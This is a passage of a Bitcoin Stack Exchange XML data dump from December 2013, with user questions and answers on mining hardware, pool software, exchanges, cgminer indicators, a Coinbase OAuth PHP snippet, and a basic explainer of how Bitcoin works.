LastActivityDate="2013-12-23T02:56:13.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19237" PostTypeId="1" CreationDate="2013-12-23T04:13:52.450" Score="1" ViewCount="53" Body="&lt;p&gt;in localbitcoins we have address to receive bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Coinbase we can create multiple addresses for bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now which one do I use to receive and which one to transact and sell/trade?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;because the address in localbitcoins is shown as invalid at some free bitcoin generation sites/ while the coinbase addresses work&lt;/p&gt;&#xA;" OwnerUserId="11079" LastActivityDate="2013-12-23T04:13:52.450" Title="which address do I use to receive and which one to transact and sell/trade?" Tags="|bitcoind|client|" AnswerCount="0" CommentCount="0" ClosedDate="2014-02-03T07:38:42.740" ContentLicense="CC BY-SA 3.0" />
  <row Id="19238" PostTypeId="2" ParentId="18843" CreationDate="2013-12-23T04:24:09.983" Score="0" Body="&lt;p&gt;The list that Tibor identified is old school, contrast it this emerging &lt;a href=&quot;https://litecointalk.org/index.php?topic=6506.0&quot; rel=&quot;nofollow&quot;&gt;FPGA/ASIC&lt;/a&gt; list for Litecoin. &lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-23T04:24:09.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19239" PostTypeId="2" ParentId="17847" CreationDate="2013-12-23T04:36:00.810" Score="1" Body="&lt;p&gt;P2Pool and Eligius reward their miners with uncirculated coinage, which actually does have certain anonymity advantages...&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-23T04:36:00.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19241" PostTypeId="1" CreationDate="2013-12-23T06:40:43.640" Score="1" ViewCount="401" Body="&lt;p&gt;I've just recently started litecoin mining on a kind of old AMD GPU.  My motherboard has space for 2 additional cards.  I'd like to drop in a new card specifically for litecoin mining, but...  I'm not sure if the two cards need to be identical.  Crossfire stuff is confusing me.  If I drop in a second card can it be top of the line and still have my old card do some work?&lt;/p&gt;&#xA;" OwnerUserId="11257" LastEditorUserId="5406" LastEditDate="2016-04-25T21:07:25.633" LastActivityDate="2016-04-25T21:07:25.633" Title="Adding an additional GPU for LTC mining" Tags="|litecoin|mining-hardware|gpu|mining-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19243" PostTypeId="1" CreationDate="2013-12-23T07:16:07.070" Score="2" ViewCount="1295" Body="&lt;p&gt;It is very hard to find an open source free solution to build a public mining pool.  Is there any pre-made, out-of-the-box solutions one can buy?&lt;/p&gt;&#xA;" OwnerUserId="11258" LastEditorUserId="5406" LastEditDate="2014-02-09T09:40:34.137" LastActivityDate="2014-02-09T09:40:34.137" Title="Out-of-the-box pool mining solution" Tags="|mining-pools|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19244" PostTypeId="2" ParentId="19139" CreationDate="2013-12-23T08:48:29.077" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/kylelutz/compute&quot; rel=&quot;nofollow&quot;&gt;This looks like a great lib&lt;/a&gt; that acts as a OpenCL wrapper, at least based upon the short example given on &lt;code&gt;vector&lt;/code&gt; sorting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All libraries seem to treat the GPU as if it's some foreign CPU, and while this is no exception, it seems to be the most direct and intuitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been able to test, but if it works as advertised, it looks perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I've tried to sort out CUDA and OpenCL by myself, and I'm just not good enough.  This appeals to my laziness.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2013-12-23T08:48:29.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19245" PostTypeId="2" ParentId="18408" CreationDate="2013-12-23T09:50:49.093" Score="0" Body="&lt;p&gt;If you have an AMD Radeon HD you can mine scrypt coins.  Nvidia GPUs aren't as good at mining.  There are also coins that are CPU only, but many of those have a difficulty that is too high, such as PTS, QRK and Primecoin.&lt;/p&gt;&#xA;" OwnerUserId="5918" LastActivityDate="2013-12-23T09:50:49.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19248" PostTypeId="2" ParentId="19243" CreationDate="2013-12-23T15:04:21.673" Score="0" Body="&lt;p&gt;You can try &lt;a href=&quot;https://github.com/forrestv/p2pool&quot; rel=&quot;nofollow&quot;&gt;p2pool&lt;/a&gt; which is open source.&lt;/p&gt;&#xA;" OwnerUserId="10950" LastActivityDate="2013-12-23T15:04:21.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19249" PostTypeId="2" ParentId="19115" CreationDate="2013-12-23T15:26:34.890" Score="3" Body="&lt;p&gt;For $2800 (the price of Monarch 500GH/s, as of 23 Dec 2013), and $4680 (the price of Monarch 600GH/s, same date), you might as well purchase a 1TH/s mining hardware, such as from &lt;a href=&quot;http://virtualminingcorp.com/&quot; rel=&quot;nofollow&quot; title=&quot;VMC&quot;&gt;VMC&lt;/a&gt;, or &lt;a href=&quot;http://cointerra.com/&quot; rel=&quot;nofollow&quot;&gt;CoinTerra&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other alternative is to use these mining hardware to mine some other altcoin, instead of Bitcoin, and hope that the other altcoin would come to prominence one day, instead of bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer to your question is that unless the difficulty drops, it is no longer cost effective to purchase mining hardware.&lt;/p&gt;&#xA;" OwnerUserId="4404" LastActivityDate="2013-12-23T15:26:34.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19250" PostTypeId="2" ParentId="19228" CreationDate="2013-12-23T16:06:20.193" Score="0" Body="&lt;p&gt;Additionally you can get info from &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/about/markets-api/&lt;/a&gt; for multi-exchange trade data.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For current market rate, 24-hour high/low, last, etc with btc-e you can use&#xA;&lt;a href=&quot;https://btc-e.com/api/2/btc_usd/ticker&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/btc_usd/ticker&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2013-12-23T16:06:20.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19251" PostTypeId="1" CreationDate="2013-12-23T16:18:31.077" Score="19" ViewCount="48339" Body="&lt;p&gt;I'm relatively new to the world of Bitcoins and understand the basic principles of wallets and addresses etc, but was wondering how exchanges (like Coinbase) work exactly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the entire exchange basically one large wallet with each user having their own address? That would mean that an exchange would hold a wallet containing all their users Bitcoins, no?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you buy Bitcoins from an exchange using a bank transfer or credit card, where are the Bitcoins you're buying sourced from? It was my understanding that you have to buy Bitcoins from an individual who's actively selling their Bitcoins. Do they just buy a massive amount of coins all at once and slowly sell them off?&lt;/p&gt;&#xA;" OwnerUserId="11270" LastActivityDate="2018-07-06T09:04:22.720" Title="How do bitcoin exchanges work?" Tags="|exchanges|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19252" PostTypeId="2" ParentId="19251" CreationDate="2013-12-23T17:07:25.083" Score="1" Body="&lt;p&gt;An exchange is where buyers and sellers conduct their business. A seller of BTC deposits BTC with the exchange's address. He can then use his positive BTC balance in the exchange to sell his BTC for Dollars (or other coins). Similarly, a buyer of BTC deposits USD with the exchange and then uses the balance to buy BTC from sellers. &lt;/p&gt;&#xA;" OwnerDisplayName="user4581" LastActivityDate="2013-12-23T17:07:25.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19253" PostTypeId="2" ParentId="19241" CreationDate="2013-12-23T17:09:56.953" Score="2" Body="&lt;p&gt;The cards don't need to be identical. Your mining software should identify each GPU and allow you to control/use each one separately.&lt;/p&gt;&#xA;" OwnerDisplayName="user4581" LastActivityDate="2013-12-23T17:09:56.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19254" PostTypeId="2" ParentId="19243" CreationDate="2013-12-23T17:36:30.500" Score="1" Body="&lt;p&gt;I would disagree that it is hard to find open source solutions, there are three pieces of software that need to be combined to create a mining pool.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;bitcoind&lt;/a&gt; (or litecoind etc)&lt;/li&gt;&#xA;&lt;li&gt;Pool software (&lt;a href=&quot;https://github.com/jgarzik/pushpool&quot; rel=&quot;nofollow&quot;&gt;pushpool&lt;/a&gt; or &lt;a href=&quot;https://github.com/slush0/stratum-mining&quot; rel=&quot;nofollow&quot;&gt;stratum&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Web front end (&lt;a href=&quot;https://github.com/simplecoin/simplecoin&quot; rel=&quot;nofollow&quot;&gt;SimpleCoin&lt;/a&gt;, &lt;a href=&quot;https://github.com/Greedi/mmcFE&quot; rel=&quot;nofollow&quot;&gt;mmcFE&lt;/a&gt;, &lt;a href=&quot;https://github.com/TheSerapher/php-mpos&quot; rel=&quot;nofollow&quot;&gt;MPOS&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am unaware of any commercial out-of-the-box solutions at this time.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-12-23T17:36:30.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19255" PostTypeId="1" CreationDate="2013-12-23T18:00:52.160" Score="2" ViewCount="7104" Body="&lt;p&gt;I've got a notebook with these specifics:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CPU: AMD Phenom X3 II N830 3.14GHz (3-Core)&lt;/li&gt;&#xA;&lt;li&gt;GPU: ATI Radeon HD 5650 1GB &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Mining 1 LTC is faster than mining 1 BTC? How I estimate the times for BTC and LTC? &#xA;Overall, I get more money with LTC mining or with BTC mining?&lt;/p&gt;&#xA;" OwnerUserId="10359" LastEditorUserId="5406" LastEditDate="2016-04-10T12:16:52.503" LastActivityDate="2016-04-10T12:16:52.503" Title="LTC mining is better than BTC mining?" Tags="|litecoin|mining-profitability|gpu|cpu|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19256" PostTypeId="2" ParentId="18962" CreationDate="2013-12-23T18:24:08.933" Score="2" Body="&lt;p&gt;I personally like what BitPay is doing.  This is tied to their service, but it uses a rather ingenious spread of data from multiple exchanges.  They use what is called the Bitcoin Best Bid (BBB).  They pull in market data from several exchanges and create a giant table of all buy and sell orders.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The BBB is calculated by simulating an auto-routing market sell order, across all exchanges, with zero commission fees. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For additional information see the link below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitpay.com/bitcoin-exchange-rates&quot; rel=&quot;nofollow&quot;&gt;https://bitpay.com/bitcoin-exchange-rates&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The api is available here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitpay.com/api/rates&quot; rel=&quot;nofollow&quot;&gt;https://bitpay.com/api/rates&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is updated once a minute.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-12-23T18:24:08.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19257" PostTypeId="1" AcceptedAnswerId="19258" CreationDate="2013-12-23T18:29:51.877" Score="0" ViewCount="109" Body="&lt;p&gt;Since multiple values can result in the same hash, couldn’t an attacker try to find a way of increasing his balance in a way that the checksum of the changed block remains the same (so that any proofs-of-work are still valid) and then propagate the change into the network without peers noticing it?&lt;/p&gt;&#xA;" OwnerUserId="11276" LastActivityDate="2013-12-23T18:35:03.830" Title="Can an attacker change an old block without changing the checksum?" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19258" PostTypeId="2" ParentId="19257" CreationDate="2013-12-23T18:35:03.830" Score="3" Body="&lt;p&gt;Sure, he can try. But the algorithms Bitcoin uses were specifically chosen to make this attack completely impractical. It would be trillions of times easier to just buy the Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-23T18:35:03.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19259" PostTypeId="1" AcceptedAnswerId="19262" CreationDate="2013-12-23T18:56:21.073" Score="0" ViewCount="103" Body="&lt;p&gt;When announcing a transaction, how does the Bitcoin client make sure network peers accepted it? For example, if I put in no transaction-fee but all peers I’m connected to require a fee and therefore reject my transaction, how will I notice it?&lt;/p&gt;&#xA;" OwnerUserId="11276" LastActivityDate="2013-12-23T20:23:00.003" Title="How does the Bitcoin client make sure transactions were accepted by the network?" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19260" PostTypeId="1" AcceptedAnswerId="19265" CreationDate="2013-12-23T19:15:33.453" Score="8" ViewCount="24962" Body="&lt;p&gt;Am brand new to mining, and wanted to download an OSX miner just to experience (fully realizing that it would not be profitable). With cgminer connected to a mining pool, I see the following interface...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/50vUz.png&quot; alt=&quot;cgminer screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... Can someone help me understand what each of the indicators mean (A, R, HW, WU, ST, SS, NB, LW, GF, RF)?&lt;/p&gt;&#xA;" OwnerUserId="11277" LastEditorUserId="5406" LastEditDate="2016-03-15T09:24:08.350" LastActivityDate="2016-03-15T09:24:08.350" Title="Deciphering cgminer interface in terminal" Tags="|cgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19261" PostTypeId="1" CreationDate="2013-12-23T20:22:16.133" Score="-1" ViewCount="582" Body="&lt;p&gt;I am trying to integrate basecoin api with the code given bellow&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require_once(dirname(__FILE__) . '/lib/Coinbase.php');&#xA;&#xA;// Create an application at https://coinbase.com/oauth/applications and set these values accordingly&#xA;/*$_CLIENT_ID = &quot;83a481f96bf28ea4bed1ee8bdc49ba4265609efa40d40477c2a57e913c479065&quot;;&#xA;$_CLIENT_SECRET = &quot;a8dda20b94d09e84e8fefa5e7560133d9c5af9da93ec1d3e79ad0843d2920bbb&quot;;&#xA;*/&#xA;$_CLIENT_ID = &quot;a3564428fb91cd84460d1272b49037581a64d97418663b5edcbc32a5f4f4ae48&quot;;&#xA;$_CLIENT_SECRET = &quot;1973603dba1e3d335ca34687df9e01c9a591fbc4055738bee30d1fcb283c848b&quot;;&#xA;&#xA;// Note: your redirect URL should use HTTPS.&#xA;$_REDIRECT_URL = &quot;http://&quot; . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];&#xA;&#xA;$coinbaseOauth = new Coinbase_OAuth($_CLIENT_ID, $_CLIENT_SECRET, $_REDIRECT_URL);&#xA;&#xA;if(isset($_GET['code'])) {&#xA;&#xA;    // Request tokens&#xA;    $tokens = $coinbaseOauth-&amp;gt;getTokens($_GET['code']);&#xA;&#xA;    // The user is now authenticated! Access and refresh tokens are in $tokens&#xA;    // Store these tokens safely, and use them to make Coinbase API requests in the future.&#xA;    // For example:&#xA;    $coinbase = new Coinbase($coinbaseOauth, $tokens);&#xA;&#xA;    try {&#xA;        echo 'Balance: ' . $coinbase-&amp;gt;getBalance() . '&amp;lt;br&amp;gt;';&#xA;        echo $coinbase-&amp;gt;createButton(&quot;Alpaca socks&quot;, &quot;10.00&quot;, &quot;CAD&quot;)-&amp;gt;embedHtml;&#xA;    } catch (Coinbase_TokensExpiredException $e) {&#xA;        $newTokens = $coinbaseOauth-&amp;gt;refreshTokens($tokens);&#xA;        // Store $newTokens and retry request&#xA;    }&#xA;} else {&#xA;&#xA;    // Redirect to Coinbase authorization page&#xA;    // The provided parameters specify the access your application will have to the&#xA;    // user's account; for a full list, see https://coinbase.com/docs/api/overview&#xA;    // You can pass as many scopes as you would like&#xA;    echo &quot;&amp;lt;a href=\&quot;&quot; . $coinbaseOauth-&amp;gt;createAuthorizeUrl(&quot;balance&quot;, &quot;buttons&quot;) . &quot;\&quot;&amp;gt;Connect with Coinbase&amp;lt;/a&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am not sure what is $_GET['code'], so it is always go to the else part and echo this part&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;a href=\&quot;&quot; . $coinbaseOauth-&amp;gt;createAuthorizeUrl(&quot;balance&quot;, &quot;buttons&quot;) . &quot;\&quot;&amp;gt;Connect with Coinbase&amp;lt;/a&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please advice me what can I get this variable $_GET['code']&lt;/p&gt;&#xA;" OwnerUserId="11283" LastActivityDate="2016-02-07T05:16:44.313" Title="what is $_GET['code'] in coinbase api" Tags="|bitcoind|coinbase.com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19262" PostTypeId="2" ParentId="19259" CreationDate="2013-12-23T20:23:00.003" Score="3" Body="&lt;p&gt;The client doesn't ensure peers accept it. If none of your peers relay the transaction, then it will likely never get into a block and will remain unconfirmed forever. Your client will continue to make attempts to relay the transaction periodically, and you may eventually connect to a client that will relay transactions that have no fee or your coins may eventually get old enough that the standard client will relay them with no fee.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-23T20:23:00.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19264" PostTypeId="1" CreationDate="2013-12-23T21:07:45.877" Score="-1" ViewCount="85" Body="&lt;p&gt;I plan to setup an online wallet system using bitcoind that allows users to create their own bitcoin wallets. If a user on my system sends funds from his wallet to someone else's then bitcoind creates a block that needs to be inserted into the blockchain. Do I (as the wallet operator) receive the transaction fee? If not how do I allocate a transaction to myself (the operator?)&lt;/p&gt;&#xA;" OwnerUserId="11286" LastActivityDate="2014-01-22T22:19:02.100" Title="Are transaction fees allocated to the wallet operator?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19265" PostTypeId="2" ParentId="19260" CreationDate="2013-12-23T21:23:07.957" Score="13" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=28402.0&quot;&gt;Bitcoin Forum &gt; Bitcoin &gt; Mining &gt; Mining software (miners) (Moderators: gmaxwell, MiningBuddy) &gt; CGMINER ASIC FPGA miner monitoring fanspeed RPC linux/win/osx/mip/arm/r-pi 3.9.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cite:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A:   The number of Accepted shares&#xA;R:   The number of Rejected shares&#xA;HW:  The number of HardWare errors&#xA;WU:   The Work Utility defined as the number of diff1 equivalent shares / minute&#xA;&#xA;&#xA; AVA 0: 23C/ 47C 2280R | 77.10G/83.20Gh/s | A:120029 R:0 HW:2295 WU:1162.5/m&#xA;&#xA;Each column is as follows:&#xA;Temperature (if supported)&#xA;Fanspeed (if supported)&#xA;A 5 second exponentially decaying average hash rate&#xA;An all time average hash rate&#xA;The number of accepted shares&#xA;The number of rejected shares&#xA;The number of hardware erorrs&#xA;The Work Utility defined as the number of diff1 equivalent shares / minute&#xA;&#xA;The cgminer status line shows:&#xA; TQ: 1  ST: 1  SS: 0  DW: 0  NB: 1  LW: 8  GF: 1  RF: 1&#xA;&#xA;TQ is Total Queued work items.&#xA;ST is STaged work items (ready to use).&#xA;SS is Stale Shares discarded (detected and not submitted so don't count as rejects)&#xA;DW is Discarded Work items (work from block no longer valid to work on)&#xA;NB is New Blocks detected on the network&#xA;LW is Locally generated Work items&#xA;GF is Getwork Fail Occasions (server slow to provide work)&#xA;RF is Remote Fail occasions (server slow to accept work)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11288" LastActivityDate="2013-12-23T21:23:07.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19266" PostTypeId="2" ParentId="19200" CreationDate="2013-12-23T21:34:17.713" Score="2" Body="&lt;p&gt;(NOTE: This answer is meant to be understood at a high school level)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Bitcoin&quot; rel=&quot;nofollow&quot;&gt;Bitcoin&lt;/a&gt; is the first and currently most popular &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptocurrency&quot; rel=&quot;nofollow&quot;&gt;cryptocurrency&lt;/a&gt; created by the mysterious &lt;a href=&quot;http://en.wikipedia.org/wiki/Satoshi_Nakamoto&quot; rel=&quot;nofollow&quot;&gt;Satoshi Nakamoto&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was designed to allow users to securely and anonymously transmit wealth to each other in a way where no single entity has control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is secure because it uses the nearly the same technology that has been used for decades to transmit information securely across the web.  It does this somewhat anonymously because nothing about a user is recorded.  It is &quot;decentralized&quot; (no one person or group of persons) has control because every transaction is verified by &quot;&lt;a href=&quot;http://en.wikipedia.org/wiki/Hash_function&quot; rel=&quot;nofollow&quot;&gt;hashing&lt;/a&gt;&quot; it in a very difficult and original way yet can be hashed by anyone.  The transactions are hashed into something called the &quot;blockchain&quot; which is essentially a collection of rule-abiding transactions so that a record of all transactions alllll the way back to the &lt;em&gt;very first&lt;/em&gt; transaction is available for all to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Yes, but what exactly &lt;em&gt;is&lt;/em&gt; it?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's basically a &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;program&lt;/a&gt; that everyone uses, originally created by Satoshi Nakamoto.  If someone tries to use a different program or change the original code beyond certain parameters, called the &quot;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules&quot; rel=&quot;nofollow&quot;&gt;protocol&lt;/a&gt;&quot;, all other programs will reject anything that the different program will try to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions are secure because a user gets a private key/public key pair generated by a program.  They have to be generated in such a way so that for every private key there is almost certainly only one public key, so a user can choose a random private key, and an acceptable program will generate a corresponding public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a user has this pair, they can &quot;&lt;a href=&quot;http://en.wikipedia.org/wiki/Digital_signature&quot; rel=&quot;nofollow&quot;&gt;sign&lt;/a&gt;&quot; a transaction with the private key that the user keeps only to oneself, but anyone can view the true data when using the corresponding public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;private key&quot; is more like a &quot;private lock&quot;.  A user can create a transaction and lock it with the &quot;private lock&quot; that only the user has while anyone can unlock it with the public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The public key is actually the address that all users use to receive coins.  So, if I want to send you money, you give me your public key while keeping your private key to yourself, and I sign a transaction that says &quot;give X bitcoins to okarin's public key&quot; and append my public key to the transaction so everyone can use it to decrypt my message which could &lt;em&gt;only&lt;/em&gt; have been sent from me (or someone who stole my private key) because I used my private key to encrypt the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Anonymity&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as no one knows who owns a public key, that user is anonymous.  Bitcoin records no other information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;No one controls it&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is mostly true.  Remember, this is all based upon a single program, and someone actually does control the source code to that program.  Whenever it's changed, most people adopt the change, but if they don't, one legitimate transaction record can turn into two: one for the people using the old code and one for the people using the new code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from that, the program itself is decentralized yet unified because after a transaction is sent out, it is verified by someone else on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has to be done because if, going back to the example above where I've sent you money, only some people see our transaction but others don't, I could send the exact same money that I sent you a second time to someone else who doesn't know about our transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent that problem, all transactions are included into a single record, the blockchain.  And the longest rule-abiding blockchain is recognized to be the legitimate one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A single person or group of persons is prevented from having control over the blockchain because a &quot;block&quot; of transactions are hashed.  This requires a computer to do a calculation that costs resources such as a computer strong enough to do this quickly.  Since there are many people trying to do this because they get paid in new bitcoins to do so, it's really hard for a single person or group of persons to do all of the hashing themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not only are the new transactions hashed, but all of the old ones are too.  This turns into a very large transaction record constantly reverified and rehashed, called the blockchain.  Transactions are verified in batches called &quot;blocks&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Where do bitcoins come from&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, they essentially come from the program, but new ones are rewarded to those verifying transactions as payment for doing a good job.  If someone tries to cheat, no one will give them new bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New bitcoins are created according to the rules in the protocol.  And since the protocol says that everyone should award the first to verify transactions properly, users who use the right program do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a user uses the right program, this is all done more or less automatically, so a user can simply get coins from someone and send them to someone without having to worry about all of this complexity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck on your article and feel free to plagiarize this (but only &lt;strong&gt;you&lt;/strong&gt;, okarin)!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If there's anything you still don't understand, send me a comment, and I'll try to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the technical outline of what bitcoin is, you can read &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;the original Satoshi Nakamoto paper&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Yes, I know there are a &lt;em&gt;ton&lt;/em&gt; of ifs ands or buts, powerusers, but I was trying to outline the basics.  Feel free to edit this as necessary into layman's terms.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2013-12-23T21:34:17.713" CommentCount="0" CommunityOwnedDate="2013-12-23T21:34:17.713" ContentLicense="CC BY-SA 3.0" />
  <row Id="19267" PostTypeId="2" ParentId="19264" CreationDate="2013-12-23T21:50:07.167" Score="1" Body="&lt;p&gt;You don't, and you can't. The transaction fee needs to go to the miner who processes the transaction, otherwise your transactions won't get processed. You can, of course, charge whatever fees you want for whatever services you offer, but these have nothing whatsoever to do with the transaction fee for Bitcoin transactions themselves.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-23T21:50:07.167" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19268" PostTypeId="2" ParentId="19115" CreationDate="2013-12-23T22:10:28.763" Score="3" Body="&lt;p&gt;Right now, it's not profitable to mine Bitcoins on anything that isn't an ASIC. GPUs still pay off if you mine Litecoins, but then the mining scene over there is getting crowded as well - so you may end up just recovering your costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty other crypto-coins, some of which are much more profitable to be mined with a graphics card than others. At sites such as dustcoin.com or coinwarz.com you can put the power consumption of your hardware, the rate it gives you (scrypt-based coins get more or less same rate than SHA256-based coins, but divided by 1000) and it will show you the difficulty level of a lot of crypto-coins and their value in the exchanges, and which one would be the most profitable for you to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to mine Litecoin, moved to Dogecoin a week ago (when it caused an Internet frenzy) and am getting now aprox. double income from the same graphics card and same power consumption. If you think Dogecoin/Galaxycoin/CHNcoin/etc. are here to stay you can just keep them. Else, you can sell them as fast as you earn them and you'll make more money than mining &quot;the classics&quot; (i.e. bitcoin, litecoin, namecoin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can simply use the services of &quot;Multipool&quot;, a pool which automatically jumps from one cryptocurrency to the other based on which is the most profitable at the moment. They then sell them immediately and pay you in bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-23T22:10:28.763" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
